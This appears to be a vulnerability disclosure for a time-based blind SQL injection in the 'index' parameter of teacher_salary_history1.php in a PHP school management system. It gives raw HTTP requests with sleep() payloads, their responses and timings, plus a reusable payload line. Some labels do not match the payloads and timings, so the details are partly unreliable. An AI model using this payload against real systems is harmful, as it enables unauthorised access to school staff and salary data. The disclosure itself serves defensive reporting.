

SQL injection vulnerability exists in index parameter of /view/teacher_salary_history1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 2s:

Request

```
1 GET /std1/view/teacher_salary_history1.php?index=
2 '%2B(select(0)from(select(sleep(2)))v)%2B' HTTP/1.1
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/std1
6 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
7 Accept-Encoding: gzip,deflate,br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
9 x64) AppleWebKit/537.36 (KHTML, like Gecko)
10 Chrome/114.0.0.0 Safari/537.36
11 Host: 192.168.31.163
12 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:55:29 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 816
8
9 <div class="col-md-10">
10 <div class="box">
11 <div class="box-header">
12
13 <h3 class="box-title">
14 Salary History
15 </h3>
16 </div>
17 <!-- /.box-header -->
18 <div class="box-body table-responsive">
19 <!-- MSK-00093 -->
20 <table id="example2" class="table
21 table-bordered table-striped">
```

Done 1,005 bytes | 6,025 millis

Sleep time is 12s:

Request

```
1 GET /std1/view/teacher_salary_history1.php?index=
2 '%2B(select(0)from(select(sleep(4)))v)%2B' HTTP/1.1
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/std1
6 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
7 Accept-Encoding: gzip,deflate,br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
9 x64) AppleWebKit/537.36 (KHTML, like Gecko)
10 Chrome/114.0.0.0 Safari/537.36
11 Host: 192.168.31.163
12 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:55:01 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 816
8
9 <div class="col-md-10">
10 <div class="box">
11 <div class="box-header">
12
13 <h3 class="box-title">
14 Salary History
15 </h3>
16 </div>
17 <!-- /.box-header -->
18 <div class="box-body table-responsive">
19 <!-- MSK-00093 -->
20 <table id="example2" class="table
21 table-bordered table-striped">
```

Done 1,005 bytes | 12,090 millis

Payload: index='%2B(select(0)from(select(sleep(2)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>